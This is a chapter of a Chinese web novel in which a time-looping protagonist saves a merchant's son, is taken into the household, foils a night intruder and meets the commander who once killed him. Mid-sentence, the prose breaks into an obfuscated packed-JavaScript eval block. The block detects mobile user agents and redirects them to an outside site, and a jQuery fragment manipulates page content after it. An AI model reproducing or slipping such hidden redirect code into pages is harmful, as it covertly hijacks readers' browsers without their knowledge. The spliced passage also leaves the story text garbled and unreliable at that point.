默认冷灰
24号文字
方正启体

10. 好人好报

作者:工作不值得本书字数:K更新时间:
    “小少爷!小少爷!”家仆扑上去,摇着男孩的身体,声音带着哭腔。


    林越挣扎着爬起来:“别摇!让他平躺!”


    他按照现代急救知识检查男孩口鼻——没有异物,但呼吸已停。林越跪在男孩身边,双手交叠按压胸口。一下,两下,三下……按压三十次后,他捏住男孩鼻子,口对口吹气。


    周围围了一圈人,指指点点。林越顾不上,全部注意力都在男孩身上。


    一次,两次,三次……


    “咳!”男孩突然吐出水,接着剧烈咳嗽。


    “活了!活了!”家仆喜极而泣。


    林越松了口气,瘫坐在地,这才感到浑身酸痛,手上全是擦伤。


    男孩睁开眼,迷茫地看着四周,然后“哇”地哭出来。


    “小少爷,您可吓死老奴了!”家仆抱住男孩,又朝林越连连磕头,“恩公!恩公救命之恩,刘家没齿难忘!”


    刘家?林越心里一动:“这孩子是……”


    “这是刘员外家的三少爷,刘小宝。”家仆抹泪,“今儿个偷偷溜出来玩,没想到……唉,要不是恩公,老奴这条命也赔不起!”


    正说着,远处传来急促脚步声。一群人匆匆赶来,为首的是个四十多岁的中年男子,穿着绸缎长衫,面色焦急。身后跟着家丁和一个哭成泪人的妇人。


    “小宝!我的小宝!”妇人扑上来抱住男孩。


    “老爷,夫人,就是这位恩公救了小少爷。”家仆连忙介绍。


    刘员外看向林越,目光先是审视,随即转为感激。他快步上前拱手行礼:“在下刘文渊,多谢壮士救犬子性命!”


    林越连忙起身还礼:“刘员外客气了,举手之劳。”


    “这岂是举手之劳?”刘员外摇头,“井深三丈,常人避之不及,壮士却肯冒险相救,此等恩情,刘某必当重谢!”他打量林越,见他衣衫褴褛,手上带伤,便道:“壮士若是不弃,请到寒舍一叙,容刘某略备薄酒,以表谢意。”


    林越心中暗喜,这正合他意。但面上谦逊:“小人身份卑微,不敢叨扰。”


    “救命恩人,何来卑微之说?”刘员外正色道,“请!”


    林越不再推辞,跟着刘员外一行人朝刘府走去。路上,他悄悄摸了摸怀里的玉坠。计划有变,但这或许是更好的开始。


    刘府果然气派。青砖高墙,朱漆大门,门口石狮子威武庄严。进门影壁,转过是前院,青石铺地,两旁花草。正厅宽敞明亮,家具都是上好的红木。之前轮回用玉坠兑换物资只跟门房打交道,没想到里面如此富裕,和黄壤屯格格不入。


    刘员外让夫人带小宝去换衣服,自己请林越在厅中坐下,命丫鬟上茶。


    “还未请教壮士高姓大名?”刘员外问。


    “小人姓林,单名一个越字。”林越谨慎回答,“北边人,因家乡遭抢,逃至此地。”


    “林壮士。”刘员外点头,“看壮士言行,不似普通流民。”


    林越心里一紧,但面上不动声色:“员外过奖了,小人只是读过几年书,识得几个字。”


    “哦?读过书?”刘员外更感兴趣了,“不知读的什么书?”


    “四书五经略通一二,但未考取功名。”林越半真半假地说——他确实读过,不过是现代义务教育。


    刘员外沉吟片刻,道:“实不相瞒,刘某有一子,今年刚中童生,正欲寻一位先生教导。不知林壮士可愿暂留府中,一来养伤,二来……若有余力,指点犬子一二?”


    林越愣住了。这完全出乎预料。他原计划只是用玉坠换点物资,顺便搭上关系,没想到直接获得了留在刘府的机会。这简直是天赐良机。


    他压下激动,恭敬道:“承蒙员外看得起,小人自当尽力。只是……”


    “但说无妨。”


    “小人初到此地,对本地风俗礼法尚不熟悉,恐有不当之处。”林越顺势提出,“若员外不嫌,可否请府上懂礼之人指点一二?”


    刘员外笑了:“这个简单。府中老管家在黄壤屯生活了五十年,对本地的俚语、礼数了如指掌。林壮士若有疑问,随时可问他。”


    “多谢员外。”林越起身行礼。


    “不必多礼。”刘员外摆手,“林壮士救了小宝,就是刘家的恩人。往后在府中,不必以‘小人’自称,称‘我’即可。”


    林越心中暗喜。这意味着他在刘府的地位会比普通门客更高。


    正说着,丫鬟引着一个少年走了进来。少年约莫十三四岁,穿着儒衫,面容清秀,眼神灵动。


    “父亲。”少年行礼。


    “文轩,过来见过林先生。”刘员外介绍,“这位是林越林先生,从今日起暂住府中,你有学业上的问题,可向先生请教。”


    刘文轩好奇地打量林越,见他衣衫破旧但气度从容,便恭敬行礼:“学生刘文轩,见过林先生。”


    林越还礼:“不敢当‘先生’之称,互相学习。”


    刘员外显然对林越的谦逊很满意,又吩咐管家为林越准备房间、衣物、洗漱用具。一切安排妥当后,他才道:“林壮士今日劳累,先去歇息吧。晚膳时分,刘某再设宴为壮士接风洗尘。”


    林越被管家带到西厢房的一间客房。房间不大,但整洁干净,有床、桌椅、衣柜,还有一扇窗对着后院的花园。


    管家是个六十多岁的老者,姓周,说话慢条斯理,但条理清晰。他帮林越铺好床铺,又拿来一套干净的粗布衣服。


    “林先生先换衣服,我去打热水来。”周管家说。


    “有劳周管家。”林越道谢。


    待周管家离开,林越关上门,背靠着门板,长长舒了一口气。竟然这么顺利?


    他走到床边坐下,掏出那枚玉坠。玉坠在透过窗棂的阳光照射下,泛着温润光泽。玉坠还没用上,就已经进了刘府。这算是好人好报?


    他想起第三次轮回中,因为偷包子而被斩首的结局。那时的他,为了生存不择手段,结果却适得其反。而这一次,他救人于危难,反而获得了更好的机会。或许在这个世界,道德和善意并非无用。


    但随即他又警惕起来。不能放松。刘员外虽然表面客气,但商人之家,最重利益。他留我,一是报恩,二是看中我能教书。如果我表现不出价值,迟早会被冷落。而且王千户这条线还没搭上。


    林越把玉坠重新收好,开始思考下一步计划:利用在刘府的机会系统学习本地语言和礼法;赢得刘员外信任;寻找机会接触王千户;打听龙语的事,但要旁敲侧击。


    正想着,门外传来敲门声。“林先生,热水来了。”


    林越开门,周管家提着一桶热水进来,还有木盆和布巾。


    “林先生先洗漱,晚膳时我再来请。”周管家放下东西,又补充道,“对了,老爷说,林先生若有什么需要,尽管吩咐。”


    “多谢。”林越顿了顿,试探地问,“周管家,我在府中,该注意哪些礼数?”


    周管家笑了:“林先生客气了。府中规矩不多,只几条:见老爷夫人要行礼,用膳时等主人动筷再动,夜间不要随意走动。至于言语……先生是读书人,自然懂礼,不必老奴多言。”


    林越点头,又道:“我初来乍到,身无长物,仅有一玉坠可以置换,能否劳烦管家帮我换些换洗衣物、火折子、食盐和干粮?”


    周管家听后连忙摆手,“使不得使不得!您是贵客,主家要骂惨我!”


    林越再三说明自己救人归救人,日常交易归交易,不可混为一谈。好说歹说才劝服周管家收下玉坠,但周管家还是每样东西都拿了三份来,还添了个钱袋子表示是刘员外送的,玉坠已经交易给正要离开去清水镇的商队,换了物资后多余的钱财都放进去了。


    林越知道这其实是变相送钱感谢,推脱不得,就收下了。


    周管家离开后,林越脱掉脏衣服,用热水擦洗身体。机会来了,而且比预想的更好。


    他换上干净的粗布衣服,走到铜镜前。头发凌乱,脸上还有灰尘,但眼神清澈,透着一股坚定。这一次,一定要抓住机会。不仅要救龙语少女,还要解开这个世界的秘密,找到回家的路。


    他抬起手腕,那道黑痕在皮肤上蜿蜒,像一道无声的倒计时。时间不多了。但至少,现在有了一个好的开始。


    林越找了个借口出门,说是想熟悉熟悉黄壤屯的环境。周管家没多问,只嘱咐他晚饭前回来。


    林越揣着刘员外给的钱袋子——就是周管家送来的那个——先去了趟市集。边境小镇的集市简陋得很,几个摊子零零散散摆着。他在一个肉摊前停下,花六文钱买了两根带了一点肉的骨头。骨头上的肉不多,但熬过汤的骨头上还沾着些油星,闻着挺香。


    “客官,喂狗啊?”摊主是个五十来岁的汉子,一边剁肉一边问。


    “嗯。”林越点头。


    “那您可买对了,狗就爱啃这玩意儿。”摊主麻利地用草绳把骨头捆好递过来。


    林越拎着骨头,凭着记忆七拐八绕,找到了那片熟悉的巷子。第一次轮回时,他就是在这里被瘦狗追着满街跑。巷子很窄,墙皮斑驳,地上散落着垃圾和干草。他左右张望,没看见狗的踪影。


    “嘬嘬嘬——”林越试着唤了几声。


    没反应。


    他想了想,从怀里摸出早上省下来的半个馒头,掰碎了撒在地上。然后退到墙角,耐心等着。


    约莫一炷香后,巷子尽头探出一个瘦骨嶙峋的狗头。是它——黄毛杂色,耳朵耷拉着,肋骨一根根清晰可见。瘦狗警惕地嗅着空气,眼睛盯着地上的馒头碎屑,又看看林越,似乎在权衡风险。


    林越蹲下身,把骨头往前推了推:“来,给你带的。”


    瘦狗犹豫了一会儿,终究抵不住食物的诱惑,慢慢蹭过来。它先舔了舔馒头屑,然后叼起一根骨头,转身跑到几步外,趴下开始啃。啃得津津有味,尾巴不自觉地摇了起来。


    林越看着它,心里有些感慨。这狗子瘦得可怜,但生命力顽强,在这边境小镇里挣扎求生,跟自己有点像。他走到瘦狗旁边蹲下,伸手想摸摸它的头,瘦狗立刻警觉地抬头,喉咙里发出低沉的呜呜声。


    “行行行,不摸。”林越收回手,轻声说,“谢了啊,哥们儿。虽然你啥都不知道,但第一次……咳,反正谢谢你那两回帮忙。要不是你,我可能连集市都进不去。”


    瘦狗听不懂人话,只顾着啃骨头,偶尔抬眼瞥他一下,眼神里透着“这人是不是有病”的意味。


    林越笑了。他把另一根骨头也放到地上:“这根也给你,慢慢吃。”


    瘦狗这次没躲,任由林越把骨头放在面前。


    喂完狗,林越起身往回走。巷口有几个村民聚在井边闲聊,见他从巷子里出来,都投来好奇的目光。其中一个老汉认得他——昨天救刘家小少爷的事已经传开了。


    “哎,这不是昨天跳井救人的那位壮士吗?”老汉招呼道。


    林越停下脚步,拱手行礼:“老人家好。”


    另一个中年妇人插话:“壮士心善啊,救了人。对了,听说刘员外留尔在府上了?”


    林越点头:“承蒙刘员外厚爱,暂住几日。”


    “那可是搭上靠山了!”妇人啧啧道,“刘员外家底厚实着哩,三子一女,个个都是金贵主儿。大儿子继承家业做生意,二儿子读书考了童生,小儿子就是尔救的那个宝哥儿。还有个女娃子,养在深闺里,轻易不见人。”


    老汉附和:“是啊,刘员外做盐引生意,家里金山银山堆着。尔救了他儿子,这份恩情够吃一辈子了。说不定还能给尔谋个差事。”


    林越心里有数,但面上谦逊:“小子只是做了该做的事,不敢奢求什么。”


    “该做的事?”老汉摇头,“这年头,肯跳下深井救人的,可不多喽。壮士是好人,好人该有好报。”


    又闲扯了几句,林越告辞离开。往回走的路上,他回味着村民的话。刘员外这条线算是搭稳了。接下来要做的,就是巩固这份关系,同时寻找接触王千户的机会。


    他摸了摸怀里的钱袋子,又想起那只埋头啃骨头的瘦狗。这世界有时挺奇怪的——你精心策划的布局可能毫无用处,而无意中的善举却可能带来转机。就像第一次轮回,他满脑子想着怎么利用规则、怎么算计,结果死得憋屈;这次顺手救了个孩子,反而打开了局面。


    也许,在这个看似残酷的世界里,善意并非毫无价值。


    林越加快脚步。夕阳把他的影子拉得很长,投在黄土地上,像一道坚定的印记。


    窗外夕阳西下,天色渐暗。刘府开始点亮灯笼,橘黄的光晕透过窗纸,温暖了整间屋子。


    晚膳时分,周管家来请。林越整理好衣冠,跟着管家走向正厅。


    厅中已经摆好宴席,刘员外和夫人坐在主位,刘文轩坐在一旁。桌上菜肴不算丰盛,但荤素搭配,有鱼有肉。


    “林先生请坐。”刘员外示意林越坐下。


    林越恭敬行礼,然后入座。


    宴席间,刘员外问了林越一些北边的风土人情,林越凭借现代地理知识勉强应付过去。刘文轩则对林越的“学问”很感兴趣,问了些四书五经的问题,林越一一解答。气氛融洽。


    宴罢,刘员外让文轩送林越回房。


    路上,文轩好奇地问:“林先生,您说您逃荒三个月,路上一定很辛苦吧?”


    “是啊。”林越感慨,“风餐露宿,有时几天吃不上饭。”


    “那您一定见过很多有趣的事。”少年眼睛发亮。


    林越笑了:“有趣的不多,危险的不少。不过都过去了。”


    回到房间,林越关上门,靠在门板上。


    第一天:调整语言,打零工,打听消息。完成。


    第二天:进入刘府,交易玉坠送去清水镇。超额完成。


    接下来,就是巩固地位,学习礼法,接触王千户,找到龙语少女建立联系。


    他走到窗边推开窗户。夜空繁星点点,一轮弯月挂在天际。远处黄壤屯的灯火星星点点,更远处是黑暗的荒漠。而在荒漠的那头,是清水镇,是龙语少女,是等待解答的谜题。


    林越握紧拳头。这一次,我不会再失败了。


    林越躺在床上辗转反侧。尽管身体疲惫,大脑却异常活跃。白天发生的一切像走马灯一样在眼前回放。


    太顺利了,顺利得有些不真实。


    他翻个身盯着天花板。月光透过窗纸,投下模糊光斑。刘员外留下我,表面是报恩和教书,但真的这么简单吗?一个能在边境做盐引生意的富商,见识过多少人心险恶,怎么会轻易让一个来历不明的流民住进府中?也许他也在试探我。


    林越坐起身靠在床头。手腕上的黑痕在月光下显得格外清晰,似乎在缓慢生长,比昨天又长了一小截。时间不等人。


    他想起清水镇的龙语少女。如果按照之前的轮回轨迹,再过几天,她就会被县官绑在烈日下曝晒。而自己现在被困在刘府,虽然有了落脚点,但距离目标反而远了。得想个办法,既能留在刘府巩固地位,又能尽快接触王千户,获得去清水镇的机会。


    窗外传来打更声。“天干物燥,小心火烛——”已经三更了。


    林越强迫自己躺下闭上眼睛。呼吸渐渐平稳,意识开始模糊……


    就在这时,窗外传来细微响动。“嗒。”像是小石子落地的声音。


    林越眼皮动了动,没睁开。他以为是夜猫或是风吹落叶,没太在意。


    但紧接着又是一声。“嚓……”这次声音更近,似乎就在窗外。


    林越倏地睁开眼,屏住呼吸。所有睡意瞬间消散,整个人像绷紧的弓弦。他侧耳倾听。


    夜很静。只有远处偶尔传来的虫鸣,还有风吹过树叶的沙沙声。但在这片寂静中,他捕捉到了第三种声音——极其轻微的脚步声,像是有人刻意放轻步伐,踩在泥土上。


    有人?林越悄悄坐起身,动作缓慢得像一只猫。他没有点灯,借着月光挪到窗边,将脸贴在窗纸上透过缝隙向外看去。


    院子里空荡荡的,月光如水银般铺满青石地面。花木的影子在风中摇曳,投下斑驳暗影。什么都没有。听错了?


    林越正想退回床上,眼角余光却瞥见一道影子从西墙根下一闪而过。那绝对不是树木的影子——它移动的速度太快,而且形状分明是人形!


    林越的心脏猛地一跳,后背瞬间冒出一层冷汗。贼?!


    他第一个念头是府中进了小偷。但随即,一个信息从记忆深处浮现——清水镇城南的王员外丢了女儿。这是在前几次轮回中收集到的零碎信息。当时他忙着生存没太在意,现在却像一道闪电劈开脑海。莫不是这不止一起事件?!


    林越浑身的汗毛都竖了起来。如果真是拐卖少女的贼人,那目标很可能就是刘员外的女儿——那位他还没见过面的刘家小姐!


    他顾不上多想,一把掀开被子光脚踩在地上。房间里没有武器,只有桌上的茶壶和茶杯。林越抓起茶壶——是陶制的,有一定分量,摔碎了还能当锐器用。不能冲动,万一对方有同伙,我一个人肯定对付不了。先跟上去看看,如果真是贼人,找准时机制造动静,喊来护院。


    林越轻轻推开房门,动作极轻极慢,生怕发出半点声响。门轴发出微弱的“吱呀”声,在寂静的夜里格外刺耳。他停住动作等了几息,确认没有惊动外面的人,这才侧身闪出房间,顺手带上门。


    院子里月光很亮,这对跟踪不利。林越贴着墙根阴影移动,眼睛死死盯着前方——那道黑影已经穿过前院,正朝内院方向移动。内院是女眷住处……果然!


    林越的心沉了下去。他加快脚步,但依然保持隐蔽,利用廊柱、花丛、假山作为掩护。黑影对刘府的布局似乎很熟悉,绕过了两处有灯笼照亮的路口,选择了更暗的小径。更让林越心惊的是,两拨巡逻的护院恰好都在他经过后才出现,时间差精准得可怕。提前踩过点,这不是临时起意,是计划好的。


    黑影在内院门口停了一下左右张望。林越赶紧蹲在一丛灌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119396|195946||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    木后屏住呼吸。月光照亮了那人的侧脸——是个瘦高个,脸上蒙着黑布,只露出一双眼睛。他腰间鼓鼓囊囊,似乎带着工具。


    黑影确认安全后,从怀里掏出一根细长的铁钩,轻轻拨开了内院的门闩。门无声地滑开一条缝,他侧身闪了进去。


    林越的心提到了嗓子眼。他不能再等了。他猫着腰快速移动到内院门口,从门缝往里看去。黑影已经摸到了西厢房的一扇窗下——那扇窗格外精致,窗棂上雕着花鸟,显然是闺房。就是那里!


    林越握紧茶壶,手心全是汗。他需要制造足够的动静,既要阻止贼人,又要确保自己不被反杀。黑影开始用铁钩撬窗,动作很熟练,几乎没发出声音。


    林越估算着距离——大约十步。茶壶扔过去有把握砸中,但未必能一击制敌。不管了!他深吸一口气,从阴影中猛地窜出,用尽全力将茶壶掷向黑影!


    “砰!”陶制茶壶在空中划出一道弧线,精准地砸在黑影的后背上!


    “呃啊!”黑影猝不及防,被砸得向前趔趄,手里的铁钩“当啷”掉在地上。


    林越同时放声大喊:“抓贼啊——!有贼进内院了——!”声音在寂静的夜里炸开,像一块石头投入平静的湖面。


    瞬间,整个刘府活了。“什么声音?!”“在内院!快!”“抄家伙!”杂乱的脚步声从四面八方涌来。房间接二连三亮起灯光,窗户被推开,人影晃动。


    黑影被茶壶砸得一时没缓过劲,又被林越的喊声吓得慌了神,转身想跑,却绊到了地上的铁钩,一个踉跄摔倒在地。林越抓住机会,一个箭步冲上去,整个人扑在黑影身上!


    “放开我!”黑影挣扎,力气大得惊人,一拳打在林越肋下。剧痛传来,林越闷哼一声,但死死抱住对方不放。他知道,只要拖住几息,护院就能赶到。


    “在这儿!”第一个护院举着灯笼冲进内院,看到扭打的两人,立刻大喊,“按住他!”三个护院扑了上来,七手八脚将黑影死死压住。


    “绑起来!”护院头领吼道。绳子迅速套上,黑影被捆成了粽子,嘴里还塞了布团。


    直到这时,林越才松开手,瘫坐在地上大口喘气。肋下火辣辣地疼,估计青了一片。


    “林先生!”周管家的声音传来。老管家提着灯笼匆匆赶来,看到林越,又看到被捆住的贼人,脸色大变,“这、这是……”


    “有人想撬小姐的窗。”林越喘着气说。


    周管家倒吸一口凉气,连忙朝西厢房喊道:“小姐没事吧?”


    “没、没事……”窗内传来少女颤抖的声音,“我听见动静,没敢开门……”


    “那就好,那就好。”周管家抹了把额头的冷汗。


    这时,刘员外披着外衣匆匆赶来,身后跟着几个家丁。他面色铁青,先是看了眼被捆的贼人,又看向林越。“怎么回事?”


    护院头领上前汇报:“老爷,这贼人想撬小姐的窗,被林先生发现。林先生用茶壶砸中了他,又大喊示警,我们这才及时赶到。”


    刘员外的目光落在林越身上,眼神复杂——有震惊,有后怕,更多的是感激。他走到林越面前深深一揖:“林先生,今夜若非尔警醒,小女恐怕……”


    林越连忙起身还礼:“员外言重了,我也是碰巧听见动静。”


    “这不是碰巧。”刘员外摇头,声音有些发颤,“这是天意。刘家欠尔的,越来越多了。”他转向护院头领:“把人带到前厅,严加看管。明日一早,去请王千户来府上,此事必须由官府处置。”“是!”


    刘员外又对周管家道:“吩咐厨房,煮碗安神汤给小姐送去。还有,给林先生也煮一碗。”


    “老爷,我没事。”林越说。


    “听我的。”刘员外语气坚决,“今夜尔救了小女,是我刘家的大恩人。从今往后,只要在我刘文渊能力范围内,尔的任何愿望,我必全力满足。”


    林越心中一动。机会来了。他沉吟片刻,道:“员外既然如此说,我倒真有一个请求。”


    “请讲。”


    “我自幼喜爱读书,奈何家境贫寒,藏书有限。”林越斟酌着措辞,“今日听文轩说起四书五经,勾起了读书的念头。不知……能否借阅府上藏书一观?一来满足我读书之愿,二来也能更好地教导文轩。”


    刘员外愣了愣,随即大笑:“我当是什么难事!原来如此!林先生爱读书,这是好事,大好事!”他转头吩咐周管家:“明日一早,带林先生去书房。府中所有藏书,林先生皆可随意翻阅,无需请示。”


    “多谢员外。”林越郑重行礼。


    “该说谢的是我。”刘员外扶住他,感叹道,“救人一命已是恩情,今夜又护住小女……林先生,尔与我刘家,真是有缘。”


    有缘吗?林越看着刘员外真诚的眼神,心里却闪过一丝愧疚。他救人的初衷并不纯粹,留在刘府也是为了自己的目的。但至少,结果是好的。


    第三日清晨,天刚蒙蒙亮,林越就醒了。他洗漱完毕,换上周管家准备的新衣服——依然是粗布,但比昨天那套厚实些。推开房门,清晨的空气清新冷冽,带着花草的香气。


    周管家已经在门外等候。“林先生起得真早。”老管家笑道,“老爷吩咐了,先生随时可以去书房。早膳稍后会送到书房去。”“有劳了。”


    书房在东厢房,单独一栋小楼,上下两层。周管家推开红木门,一股墨香和旧纸特有的气味扑面而来。林越走进书房,被眼前的景象震住了。四面墙全是书架,从地面一直延伸到天花板,密密麻麻摆满了书。粗略估计,至少有数百册。中央是一张巨大的书案,上面文房四宝齐全,还有一盏精致的铜制油灯。


    “府中藏书共七百余册。”周管家介绍,“一楼是经史子集,二楼是杂书、地方志、游记、医书等。先生请自便。”林越点点头,等周管家离开后,立刻开始寻找目标。


    他要找的是关于礼法、律令、本地风俗的书籍。这些信息对他至关重要——了解这个世界的规则,才能更好地利用规则。他在“律令”分类的书架前停下,手指划过一本本书脊。《大炎律疏》、《边镇条陈》、《黄壤屯记事》、《北境风土志》……


    然后,他看到了那本书。《大炎礼法》。深蓝色封面,线装,书脊上四个隶书字。林越小心翼翼地将书取下,拂去封面上的薄灰。


    翻开第一页,是序言。文字是繁体隶书,笔画规整,但对他来说并不难认——现代人看繁体字问题不大,个别生僻字可以连蒙带猜。他捧着书坐到书案前,摊开纸笔,开始边读边记。


    《大炎礼法》分为五卷:冠礼、婚礼、丧礼、祭礼、宾礼。每一卷又细分若干条目,详细规定了不同场合的仪轨、服饰、言语、动作。林越读得很快。他的目的不是精通礼法,而是掌握关键信息——比如见官员该如何行礼,在什么场合说什么话,哪些行为是禁忌。


    “宾礼卷第三:见上官,当行拜礼。千户及以上,行跪拜礼;以下,行揖礼。言语当称‘大人’,自称‘草民’或‘小人’……”他默默记下。


    “边境特例:北狄细作猖獗,凡口音不正、行迹可疑者,皆可拘押审讯……”看到这里,林越背后一凉。第一次轮回时,他就是因为这个被王千户抓的。原来如此,不是他故意陷害,是边境律令本就如此严苛。


    继续往下读。“盐引交易需官印核准,私自贩盐者斩;协助北狄者,诛九族……”


    他正思索记录着,门外传来脚步声。“林先生。”是周管家的声音,“王千户大人已经到了,老爷请您去前厅一同用早膳。”


    林越心里一跳。这么快就来了?他合上书,整理了一下衣冠,跟着周管家往前厅走去。


    路上,他快速复盘:贼人昨夜被抓,今早王千户就来了,说明刘员外天一亮就派人去请了。可见此事在刘员外心中分量极重,也可见王千户对刘家的事很上心。关系确实密切。


    前厅已经摆好了早膳。粥、馒头、小菜,不算丰盛,但精致。刘员外坐在主位,旁边坐着一个身穿戎装的高大男人。那男人背对着门口,正在和刘员外说话。


    “王兄,这次真是多亏了你及时赶到。”刘员外说。


    “文渊兄客气了。你我多年交情,府上有事,我岂能不来?”男人的声音低沉浑厚,带着军人的干脆。


    林越走进厅内。


    “林先生来了。”刘员外起身介绍,“王兄,这位就是我刚才说的林越林先生,小儿的救命恩人,昨夜又护住了小女。”


    男人转过身。


    时间仿佛在那一刻凝固了。


    林越看清了那张脸——方脸,浓眉,鹰隼般的眼睛,下巴上有一道浅浅的疤痕。身材高大魁梧,即使坐着也像一座山。


    这张脸,他死都不会忘记。


    第一次轮回,就是这个男人伪装成,用温和的语气问他“从哪儿来”,然后在他放松警惕时突然变脸,将他打入大牢,严刑拷打,最后让他死在狱中。


    王千户。


    那个给他下套的高大男人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)